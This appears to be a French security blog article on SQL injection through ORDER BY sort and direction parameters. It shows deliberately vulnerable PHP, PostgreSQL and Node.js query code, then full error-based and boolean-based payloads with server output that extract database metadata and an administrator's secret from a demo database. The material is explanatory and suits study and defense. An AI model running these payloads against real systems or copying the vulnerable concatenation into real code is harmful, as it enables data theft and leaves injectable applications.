Exploitation des injections SQL au sein de la clause ORDER BY

15 aout 2024

Les injections SQL peuvent surgir de manière inattendue, même dans les clauses ORDER BY. Comprenez les subtilités de ces attaques et maîtriser les techniques de défense pour protéger vos applications.

De nombreuses API permettant de récupérer des informations offrent à l'utilisateur la possibilité de trier les résultats selon ses préférences, grâce à la clause ORDER BY, et d'utiliser la pagination avec les clauses LIMIT et OFFSET. Bien que moins facilement exploités, les paramètres de la clause ORDER BY peuvent être tout aussi vulnérables aux injections SQL qu'une valeur passée plus classiquement au sein d'une clause WHERE.

Le service, qui sera utilisé dans les différents exemples de cet article, comprend une base de données, nommée "sql_injection_in_pagination_clauses_database" ainsi que deux tables : la table "users", qui répertorie les utilisateurs de la plateforme, et la table "secrets", qui stocke les secrets de certains de ces utilisateurs.

MariaDB [sql_injection_in_pagination_clauses_database]> show tables;
+--------------------------------------------------------+
| Tables_in_sql_injection_in_pagination_clauses_database |
+--------------------------------------------------------+
| secrets                                                |
| users                                                  |
+--------------------------------------------------------+

Le contenu de la table "users" est le suivant :

MariaDB [sql_injection_in_pagination_clauses_database]> select * from users;
+----+-------------+-----------+----------+---------------+
| id | username    | firstname | lastname | email         |
+----+-------------+-----------+----------+---------------+
|  1 | admin       | John      | Doe      | admin@poc.com |
|  2 | reck        | Jean      | Lafond   | reck@poc.com  |
|  3 | tim         | Timothée  | Durand   | tim@poc.com   |
|  4 | lola        | Lola      | Bouetté  | lola@poc.com  |
|  5 | trin        | Elise     | Judion   | trin@poc.com  |
+----+-------------+-----------+----------+---------------+

Tandis que le table "secrets" contient les informations suivantes :

MariaDB [sql_injection_in_pagination_clauses_database]> select * from secrets;
+----+----------+-------------------------------+
| id | username | secret                        |
+----+----------+-------------------------------+
|  1 | admin    | Mon mot de passe est passw0rd |
|  2 | reck     | Je crois aux licornes         |
+----+----------+-------------------------------+

Afin de permettre aux utilisateurs d'interroger la base d'utilisateurs, le service met à disposition une API de recherche :

info:
  title: API utilisateurs
  description: API permettant de récupérer, trier et paginer les utilisateurs.
paths:
  /users:
    get:
      summary: Récupère une liste d'utilisateurs
      parameters:
        - in: query
          name: search
          schema:
            type: string
          description: Filtre les utilisateurs par une chaîne de caractères.
        - in: query
          name: sort
          schema:
            type: string
            enum: [id, username, firstname, lastname, email]
          description: Champ utilisé pour trier les résultats.
        - in: query
          name: direction
          schema:
            type: string
            enum: [ASC, DESC]
          description: Direction du tri (ascendant ou descendant).
        - in: query
          name: page
          schema:
            type: integer
            minimum: 1
          description: Numéro de la page à récupérer.
        - in: query
          name: maxPerPage
          schema:
            type: integer
            minimum: 1
          description: Nombre maximum de résultats par page.

Un exemple d'appel peut être :

GET /users?search=admin&sort=username&direction=ASC&page=1&maxPerPage=5 HTTP/1.1

L'API retournant alors la réponse au format JSON :

HTTP/1.1 200 OK
Content-Length: 97
Content-Type: application/json


[
    {
        "id":1,
        "username":"admin",
        "firstname":"John",
        "lastname":"Doe",
        "email":"admin@poc.com"
    }
]

Exemples d'implémentations

PHP, PDO et MySQL

Le développeur, sensibilisé aux risques d'injections SQL, a implémenté la solution suivante en PHP et l'interface PDO avec une requête préparée utilisant des placeholders :

try {       
    $cnx = new PDO('mysql:host='. $_bdd['server'] . ';dbname=' . $_bdd['database'], $_bdd['user'], $_bdd['password']);
            
    $search = "%" . $_GET['search'] . "%";
    $page = ($_GET['page'] - 1) * $_GET['maxPerPage'];

    $stmt = $cnx->prepare("SELECT * FROM users WHERE username LIKE :search OR lastname LIKE :search OR firstname LIKE :search ORDER BY :sort :direction LIMIT :maxPerPage OFFSET :page");
    $stmt->bindParam(':search', $search, PDO::PARAM_STR);
    $stmt->bindParam(':sort', $_GET['sort'], PDO::PARAM_STR);
    $stmt->bindParam(':direction', $_GET['direction'], PDO::PARAM_STR);
    $stmt->bindParam(':maxPerPage', $_GET['maxPerPage'], PDO::PARAM_INT);
    $stmt->bindParam(':page', $page, PDO::PARAM_INT);
    
    $stmt->execute(); 
    $users = $stmt->fetchAll(PDO::FETCH_ASSOC);

    if ($users) {
        echo json_encode($users);
    }
    else {
        echo json_encode([]);
    }
}
catch(PDOException $e) {
    echo 'Error: ' . $e->getMessage();
    exit();
}

Pour plus de convivialité, la recherche est effectuée dans les colonnes "username", "firstname" et "lastname" et l'utilisation de l'opérateur LIKE permet une recherche partielle. Malheureusement, lors de ses tests, le développeur identifie un dysfonctionnement des paramètres "sort" et "direction", qui ne semblent pas être pris en compte, mais la requête retourne tout de même un résultat :

GET /users?search=&sort=lastname&direction=ASC&page=1&maxPerPage=3 HTTP/1.1
HTTP/1.1 200 OK
Content-Type: application/json


[
    {
        "id":1,
        "username":"admin",
        "firstname":"John",
        "lastname":"Doe",
        "email":"admin@poc.com"
    },
    {
        "id":2,
        "username":"reck",
        "firstname":"Jean",
        "lastname":"Lafond",
        "email":"reck@poc.com"
    },
    {
        "id":3,
        "username":"tim",
        "firstname":"Timoth\u00e9e",
        "lastname":"Durand",
        "email":"tim@poc.com"
    }
]

Afin que cela fonctionne, il n'est pas rare de voir le développeur modifier sa requête de la manière suivante, rendant l'application sensible à une injection SQL par la même occasion :

try {       
    ...
    $stmt = $cnx->prepare("SELECT * FROM users WHERE username LIKE :search OR lastname LIKE :search OR firstname LIKE :search ORDER BY " . $_GET['sort'] . " " . $_GET['direction'] . " LIMIT :maxPerPage OFFSET :page");
    $stmt->bindParam(':search', $search, PDO::PARAM_STR);
    $stmt->bindParam(':maxPerPage', $_GET['maxPerPage'], PDO::PARAM_INT);
    $stmt->bindParam(':page', $page, PDO::PARAM_INT);
    ...
}

L'exploitation de cette injection SQL est étudiée dans la section suivante.

Un PoC est disponible ici.

PHP, PDO et PostgreSQL

Avec PostgreSQL, l'utilisation d'un paramètre lié pour le nom de la colonne dans la clause ORDER BY n'est également pas pris en compte et ne provoque pas d'erreur. Cependant, son utilisation pour la direction du tri lève une alerte :

$stmt = $cnx->prepare("SELECT * FROM users WHERE username LIKE :search OR lastname LIKE :search OR firstname LIKE :search ORDER BY :sort :direction");
$stmt->bindParam(':search', $search, PDO::PARAM_STR);
$stmt->bindParam(':sort', $_GET['sort'], PDO::PARAM_STR);
$stmt->bindParam(':direction', $_GET['direction'], PDO::PARAM_STR);
Error: SQLSTATE[42601]: Syntax error: 7 ERREUR:  erreur de syntaxe sur ou près de « $3 »
LINE 1: ...E $1 OR lastname LIKE $1 OR firstname LIKE $1 ORDER BY $2 $3
                                                                     ^

Similairement à l'exemple précédent, le développeur modifie généralement sa requête de la façon la plus simple :

try {       
    ...
    $stmt = $cnx->prepare("SELECT * FROM users WHERE username LIKE :search OR lastname LIKE :search OR firstname LIKE :search ORDER BY " . $_GET['sort'] . " " . $_GET['direction'] . " LIMIT :maxPerPage OFFSET :page");
    $stmt->bindParam(':search', $search, PDO::PARAM_STR);
    $stmt->bindParam(':maxPerPage', $_GET['maxPerPage'], PDO::PARAM_INT);
    $stmt->bindParam(':page', $page, PDO::PARAM_INT);
    ...
}

L'exploitation de cette injection SQL est étudiée dans la section suivante.

Un PoC est disponible ici.

Node.js et MySQL

A titre d'exemple, et afin de s'assurer que cela n'est pas lié à PHP, voici le même exemple en utilisant Node.js et MySQL :

app.get('/users', (req, res) => {
    const search = '%' + (req.query.search || '') + '%';
    const page = (req.query.page - 1) * req.query.maxPerPage;

    const sql = "SELECT * FROM users WHERE username LIKE ? OR lastname LIKE ? OR firstname LIKE ? ORDER BY ? ? LIMIT ? OFFSET ?";
    const params = [search, search, search, req.query.sort, req.query.direction, parseInt(req.query.maxPerPage), parseInt(page)];
  
    connection.query(sql, params, (err, results) => {
        if (err) {
            console.error('Error executing the query:', err);
            res.status(500).send('Error retrieving users');
            return;
        }

        res.json(results);
    });
});

La requête est exécutée sans erreur mais le tri n'est également pas respecté :

GET /users?search=&sort=lastname&direction=ASC&page=1&maxPerPage=3 HTTP/1.1
HTTP/1.1 200 OK
Content-Type: application/json


[
    {
        "id":1,
        "username":"admin",
        "firstname":"John",
        "lastname":"Doe",
        "email":"admin@poc.com"
    },
    {
        "id":2,
        "username":"reck",
        "firstname":"Jean",
        "lastname":"Lafond",
        "email":"reck@poc.com"
    },
    {
        "id":3,
        "username":"tim",
        "firstname":"Timoth\u00e9e",
        "lastname":"Durand",
        "email":"tim@poc.com"
    }
]

Pour les mêmes raisons que précédemment, la requête sera naturellement adaptée de la façon suivante afin de la faire fonctionner :

const sql = `SELECT * FROM users WHERE username LIKE ? OR lastname LIKE ? OR firstname LIKE ? ORDER BY ${req.query.sort} ${req.query.direction} LIMIT ? OFFSET ?`;
const params = [search, search, search, parseInt(req.query.maxPerPage), parseInt(page)];

Un PoC est disponible ici.

Exploitation des injections SQL

Dans le cas d'une injection SQL sur le nom de la colonne ou la direction de tri dans la clause ORDER BY, l'utilisation des injections de type UNION n'est pas possible. Pour contourner cette limitation, et en fonction de la configuration de la plateforme vulnérable, il est toutefois possible d'utiliser des injections de type error-based, boolean-based, time-based, ou encore des stack queries.

Le secret de l'administrateur contenu dans la table "secrets" sera récupéré afin de confirmer le bon fonctionnement de l'exploitation.

Error-based

Une exploitation de type error-based nécessite que le serveur renvoie des messages d'erreur techniques détaillés :

GET /users?search=&sort=lastname'&direction=ASC&page=1&maxPerPage=3 HTTP/1.1
HTTP/1.1 200 OK

Error: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' ASC LIMIT 3 OFFSET 0' at line 1

Si les messages d'erreur sont masqués ou trop génériques, il ne sera pas possible d'exploiter cette technique.

MySQL

Exploitation du paramètre "sort"

Récupération de la version de MySQL :

lastname OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),CAST(VERSION() AS NCHAR),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~10.11.6-MariaDB-0+deb12u1-log~:1' for key 'group_key'

Récupération de l'utilisateur MySQL :

lastname OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),CAST(USER() AS NCHAR),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~sql_injection_in_pagination_clauses@localhost~:1' for key 'group_key'

Récupération du nom de la base de données :

lastname OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),CAST(DATABASE() AS NCHAR),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~sql_injection_in_pagination_clauses_database~:1' for key 'group_key'

Récupération du nombre de tables :

lastname OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),(SELECT CAST(COUNT(table_name) AS NCHAR) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database'),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~2~:1' for key 'group_key'

Récupération des noms des tables :

lastname OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),(SELECT CAST(table_name AS NCHAR) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 0,1),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~users~:1' for key 'group_key'
lastname OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),(SELECT CAST(table_name AS NCHAR) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1,1),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~secrets~:1' for key 'group_key'

Récupération du nombre de colonnes de la table "secrets" :

lastname OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),(SELECT CAST(COUNT(column_name) AS NCHAR) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets'),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~3~:1' for key 'group_key'

Récupération des noms des colonnes :

lastname OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),(SELECT CAST(column_name AS NCHAR) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 0,1),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~id~:1' for key 'group_key'
lastname OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),(SELECT CAST(column_name AS NCHAR) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1,1),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~username~:1' for key 'group_key'
lastname OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),(SELECT CAST(column_name AS NCHAR) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 2,1),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~secret~:1' for key 'group_key'

Récupération du secret de l'administrateur :

lastname OR (SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),(SELECT MID(CAST(CONCAT(id, ' ',username, ' ', secret) AS NCHAR),1,60) FROM sql_injection_in_pagination_clauses_database.secrets ORDER BY id LIMIT 0,1),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~1 admin Mon mot de passe est passw0rd~:1' for key 'group_key'

Exploitation du paramètre "direction"

L'exploitation du paramètre "direction" est très similaire à celle du paramètre "sort". Pour cette raison, seule la récupération du secret de l'administrateur sera illustrée :

ASC,(SELECT 1 FROM(SELECT COUNT(*),CONCAT(CHAR(126),(SELECT MID(CAST(CONCAT(id, ' ',username, ' ', secret) AS NCHAR),1,60) FROM sql_injection_in_pagination_clauses_database.secrets ORDER BY id LIMIT 0,1),CHAR(126),0x3a,floor(rand(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '~1 admin Mon mot de passe est passw0rd~:1' for key 'group_key'

PostgreSQL

Exploitation du paramètre "sort"

Récupération de la version de PostgreSQL :

(CAST((SELECT VERSION()) AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « PostgreSQL 15.7 (Debian 15.7-0+deb12u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit »

Récupération de l'utilisateur PostgreSQL :

(CAST((SELECT CURRENT_USER) AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « sql_injection_in_pagination_clauses »

Récupération du nom de la base de données :

(CAST((SELECT CURRENT_CATALOG) AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « sql_injection_in_pagination_clauses_database »

Récupération du nombre de tables :

(CAST((SELECT COUNT(tablename) FROM pg_tables WHERE schemaname = 'public') || '-' AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « 2- »

Récupération des noms des tables :

(CAST((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 0) AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « users »
(CAST((SELECT tablename FROM pg_tables WHERE schemaname = 'public' LIMIT 1 OFFSET 1) AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « secrets »

Récupération du nombre de colonnes de la table "secrets" :

(CAST((SELECT COUNT(a.attname) FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped) || '-' AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « 3- »

Récupération des noms des colonnes :

(CAST((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 0) AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « id »
(CAST((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 1) AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « username »
(CAST((SELECT a.attname FROM pg_catalog.pg_attribute a JOIN pg_catalog.pg_class c ON a.attrelid = c.oid JOIN pg_catalog.pg_namespace n ON c.relnamespace = n.oid WHERE n.nspname = current_schema() AND c.relname = 'secrets' AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum LIMIT 1 OFFSET 2) AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « secret »

Récupération du secret de l'administrateur :

(CAST((SELECT id || ', ' || username || ', ' || secret FROM secrets LIMIT 1 OFFSET 0) AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « 1, admin, Mon mot de passe est passw0rd »

Exploitation du paramètre "direction"

L'exploitation du paramètre "direction" est très similaire à celle du paramètre "sort". Pour cette raison, seule la récupération du secret de l'administrateur sera illustrée :

ASC,(CAST((SELECT id || ', ' || username || ', ' || secret FROM secrets LIMIT 1 OFFSET 0) AS NUMERIC))
SQLSTATE[22P02]: Invalid text representation: 7 ERREUR:  syntaxe en entrée invalide pour le type numeric : « 1, admin, Mon mot de passe est passw0rd »

Boolean-based

Une exploitation de type boolean-based est une technique d'injection SQL qui nécessite la capacité de distinguer les cas où l'application répond par vrai ou faux en fonction des conditions logiques insérées dans les requêtes SQL.

L'exploitation de ce type est plus longue que celle basée sur les erreurs. C'est pourquoi seule une partie des requêtes sera présentées. De plus, les exemples utilisent l'opérateur = pour tester un caractère spécifique. Lors d'une attaque sans connaître la base de données, il est préférable d'utiliser les opérateurs > et < et d'effectuer une attaque par dichotomie pour gagner en rapidité.

MySQL

Exploitation du paramètre "sort"

La payload utilisée est celle-ci :

(SELECT (CASE WHEN (ORD(SUBSTRING(DATA_TO_RETRIEVE,1,1))=ORD('CHAR_TO_RETRIEVE')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

Lorsque la condition est vraie, le résultat sera trié par la colonne "lastname". Sinon, selon l'application, une erreur générique ou une page blanche sera renvoyée.

CASE : Permet d'exécuter une instruction conditionnelle.

WHEN : Condition de l'instruction conditionnelle.

ORD : Retourne le code ASCII du premier caractère d'une chaîne de caractères.

SUBSTRING : Extrait une sous-chaîne.

THEN : Lorsque le condition est vérifiée, le résultat est trié par la colonne "lastname".

ELSE : Lorsque la condition n'est pas vérifiée, l'utilisation de l'UNION retourne un résultat composé de deux valeurs, ce qui provoque une erreur "SQLSTATE[21000]: Cardinality violation: 1242 Subquery returns more than 1 row".

Récupération de la version de MySQL :

(SELECT (CASE WHEN (ORD(SUBSTRING(VERSION(),1,1))=ORD('1')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING(VERSION(),2,1))=ORD('0')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING(VERSION(),3,1))=ORD('.')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

La version de la base de données est "10.11.6-MariaDB".

Une solution plus rapide permettant d'identifier le type de base de données peut être la suivante :

(SELECT (CASE WHEN (VERSION() LIKE '%MariaDB%') THEN username ELSE (SELECT 1 UNION SELECT 2) END))

Récupération de l'utilisateur MySQL :

(SELECT (CASE WHEN (ORD(SUBSTRING(USER(),1,1))=ORD('s')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING(USER(),2,1))=ORD('q')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING(USER(),3,1))=ORD('l')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

L'utilisateur MySQL est "sql_injection_in_pagination_clauses@localhost".

Récupération du nom de la base de données :

(SELECT (CASE WHEN (ORD(SUBSTRING(DATABASE(),1,1))=ORD('s')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING(DATABASE(),2,1))=ORD('a')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING(DATABASE(),3,1))=ORD('l')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

Le nom de la base de donnéest est "sql_injection_in_pagination_clauses_database".

Récupération du nombre de tables :

(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database'),1,1))=ORD('2')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

La base de données possède deux tables.

Récupération des noms des tables :

(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 0),1,1))=ORD('u')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 0),2,1))=ORD('s')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 0),3,1))=ORD('e')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

Le nom de la première table est "users".

(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 1),1,1))=ORD('s')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 1),2,1))=ORD('e')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 'sql_injection_in_pagination_clauses_database' LIMIT 1 OFFSET 1),3,1))=ORD('c')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

Le nom de la seconde table est "secrets".

Récupération du nombre de colonnes de la table "secrets" :

(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets'),1,1))=ORD('3')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

La table "secrets" possède trois colonnes.

Récupération des noms des colonnes :

(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 0),1,1))=ORD('i')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 0),2,1))=ORD('d')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

La première colonne se nomme "id".

(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 1),1,1))=ORD('u')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 1),2,1))=ORD('s')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 1),3,1))=ORD('e')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

La seconde colonne se nomme "username".

(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 2),1,1))=ORD('s')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 2),2,1))=ORD('e')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema = 'sql_injection_in_pagination_clauses_database' AND table_name = 'secrets' LIMIT 1 OFFSET 2),3,1))=ORD('c')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

La troisième et dernière colonne se nomme "secret".

Récupération du secret de l'administrateur :

(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0),1,1))=ORD('a')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0),2,1))=ORD('d')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0),3,1))=ORD('m')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

Le nom d'utilisateur est "admin".

(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),1,1))=ORD('M')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),2,1))=ORD('o')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),3,1))=ORD('n')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))

Son secret est "Mon mot de passe est passw0rd"

Exploitation du paramètre "direction"

L'exploitation du paramètre "direction" est très similaire à celle du paramètre "sort". Pour cette raison, seule la récupération du secret de l'administrateur sera illustrée :

ASC,(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),1,1))=ORD('M')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
ASC,(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),2,1))=ORD('o')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
ASC,(SELECT (CASE WHEN (ORD(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0),3,1))=ORD('n')) THEN lastname ELSE (SELECT 1 UNION SELECT 2) END))
